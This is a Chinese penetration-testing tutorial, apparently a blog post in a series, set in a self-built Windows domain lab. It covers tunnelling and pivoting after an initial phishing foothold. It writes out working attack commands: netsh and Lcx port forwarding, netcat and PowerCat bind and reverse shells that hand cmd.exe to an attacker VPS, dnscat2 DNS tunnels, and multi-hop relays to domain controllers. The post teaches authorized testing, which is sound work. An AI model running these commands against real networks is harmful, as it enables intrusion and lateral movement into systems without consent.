系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,那么我需要把进行隐藏通信隧道技术,通过各种方法将内网的流量代理出来进一步的渗透。
不会隐藏通信隧道技术,就无法对内网多级网络进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
通过拓扑图可知道,对方目前都是windows系统,那么接下来将演示windows环境下通信隧道技术!
三、netsh端口隧道
netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能。而且自带命令是过免杀的!!
那么将利用windows自带的端口转发netsh interface portproxy通过这个小工具在代理服务器设置端口转发!
1、普通域用户netsh
通过netsh进行端口转发:
netsh interface portproxy add v4tov4 listenport=7777 connectaddress=10.10.3.6 connectport=3389
netsh interface portproxy add v4tov4 listenport=绑定的端口 connectaddress=被攻击者服务器ip connectport=被攻击者服务端口
netsh interface portproxy show all
#查看转发规则
可看到windwos自带的netsh进行流量代理,将10.10.3.6子域控制器3389建立端口代理隧道!
2、测试隧道
可看到,通过netsh端口转发后,访问域用户名的外网IP+7777端口即可访问到内网的子域控制器的对应端口,进行渗透了~
3、拓展思路
如果二级域内或者二级内网环境,存在web等页面以及高危端口,可以通过端口转发进行内网渗透,如果web端口代理后,可以利用BurpSuite进行深入的渗透!
四、Lcx端口代理
首先复现最为经典的端口转发工具Lcx,Lcx是一个基于socket套接字实现的端口转发工具。
1、内网端口转发
1)域普通用户:(windows7)
Lcx.exe -slave VPS-IP 51 目标IP 3389 Lcx.exe -slave 192.168.253.11 51 10.10.3.6 3389
在目标机器上执行,将目标机器3389端口的所有数据转发到公网VPS(win7自建系统代替)的51端口上。
2)VPS机器:
Lcx.exe -listen 51 33891
最后用用mstsc登录公网IP:33891即可连接到目标机器的3389端口(记得在之间把防火墙策略打开或者关闭防火墙,信息收集讲过)
2、测试隧道
通过在VPS机子上进行访问,成功端口代理。
3、思路拓展
如果目标服务器由于防火墙的限制,无法传输3389的数据,可以查看防火墙开放了哪些端口数据允许传输,通过本地端口转发将3389转发到允许的端口上进行:
lcx -tran 53 目标主机IP地址 3389
通过转发到防火墙允许的端口上后,就可以进行端口转发代理出来进行渗透!
五、Netcat
Netcat简单理解就是从网络的一端读取数据,输出到网络的另一端,接下来介绍下端口转发和反弹shell!
1、正向shell
正向:客户端连接服务器,客户端向要获取服务器的Shell
1)域用户计算机执行:
nc64.exe -lvp 4445 -e c:\windows\system32\cmd.exe
2)VPS(攻击者)执行:
nc64.exe 192.168.253.35 4445
可看到攻击者计算机交互控制了域控制器!
2、反向shell
反向:客户端连接服务器,服务器想要获取客户端的Shell
反向Shell通常用在开启了防护措施的目标机器上,例如防火墙过滤端口转发等。
1)VPS(攻击者)上执行:
nc64.exe -lvp 5555
2)在域用户机器上执行:
nc64.exe 192.168.253.11 5555 -e c:\windows\system32\cmd.exe
可看到攻击者计算机交互控制了域控制器!
3、内网代理
1)首先VPS中:(攻击者VPS)
nc64.exe -lvp 3333
2)接着在域控中执行:(子域控制器)
nc64.exe -lvp 3333 -e c:\windows\system32\cmd.exe
3)最后在域用户上执行:(win7)
nc64.exe -v 192.168.253.11 3333 -c "nc64.exe -v 10.10.3.6 3333"
可看到经过测试,NC做内网代理无法实现,是因为目前自带的nc都无法使用-c功能了!!
六、PowerCat隧道代理
PowerCat是nc的powershell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。
项目地址:
https://github.com/besimorhino/powercat.git
1、PowerCat文件上传
1)将文件上传至普通域用户计算机中:
Set-ExecutionPolicy remotesigned
Import-Module .\powercat.ps1
域用户上执行remotesigned权限开启,并执行ps1
2)查看帮助:
参数详解:
-l 监听入站连接
-c 连接目标
-p 连接或监听的端口
-e 返回某个程序
-ep 返回PowerShell
-r 端口转发
-u 通过UDP隧道传输数据
-dns 通过DNS隧道传输数据
-dnsft DNS失效阈值
-t 超时选项。默认值:60
-i 输入:文件路径(字符串)、字节数组或字符串
-o 控制台输出类型:“主机”、“字节”或“字符串”
-of 输出文件路径
-d 连接后断开
-rep 重新启动
-g 生成有效载荷
-ge 生成编码后的有效载荷
-h 帮助信息
Powercat功能非常的多,我们要在内网旅行也是必备工具之一,可以建立正反向shell、建立DNS隧道、还能将交互shell反弹到Kali攻击设备上,非常的实用,开始!
2、nc正向连接PowerCat
1)域用户计算机执行:
powercat -l -p 6666 -e cmd.exe -v
2)Kali攻击者执行:
netcat 192.168.253.35 6666 -vv
经过测试,稳定性好,成功建立正向shell!!
3、nc反向连接PowerCat
1)Kali攻击者执行:
netcat -l -p 8888 -vv
2)域用户计算机执行:
powercat -c 192.168.253.9 -p 8888 -v -e cmd.exe
经过测试,稳定性好,成功建立反向shell!!
4、PowerCat建立DNS隧道
owerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat设计的,在使用dnscat之前需要下载和进行编译!
1)Kali攻击者下载:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
Kali成功安装,如果需要在windows上安装,需要安装git和ruby即可!
2)Kali攻击者执行:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
3)域用户计算机执行:
powercat -c 192.168.253.9 -p 53 -dns ttpowercat.test -e cmd.exe
4)Kali攻击者执行:
session -i 1
可看到执行session会话1即可,成功建立DNS隧道封装交互!
5、PowerCat跳板nc隧道
这里演示二级域环境,假设子域控制器已经拿下控制权限,将子域控制器交互到外网攻击者kali上进行继续的横向渗透!
1)先在子域控制器执行:
powercat -l -v -p 9999 -e cmd.exe
2)接着域用户计算机执行:
powercat -l -v -p 8000 -r tcp:10.10.3.6:9999
3)最后Kali攻击者执行:
nc 192.168.253.35 8000 -vv
成功建立隧道代理,在kali攻击者上进行渗透!
6、PowerCat跳板DNS隧道
也可以使用DNS协议进行多级交互shell
1)先在域用户计算机执行:
powercat -l -v -p 8000 -r dns:192.168.253.9::ttpowercat.test
2)接着Kali攻击者执行:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
3)最后子域控制器执行:
powercat -c 10.10.3.100 -p 8000 -v -e cmd.exe
4)Kali攻击者执行:
session -i 1
可看到执行session会话1即可,成功建立DNS隧道封装多级交互!
七、总结
今天给大家演示了在简单的一级域环境中建立了netsh和Lcx端口隧道代理,在无法免杀代理工具可以将netsh代理出来进行攻击渗透,还演示了nc最常用的正反向shell的交互方法,以及最后PowerCat的正反向shell、DNS隧道、多级跳板的交互!
接下来在《域森林中多级域通信隧道(下)》中会接触二级、多级内网环境下,如何深入建立在外网攻击机上深入渗透多级内网环境的隧道代理,请看下篇内网旅行多级域环境!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余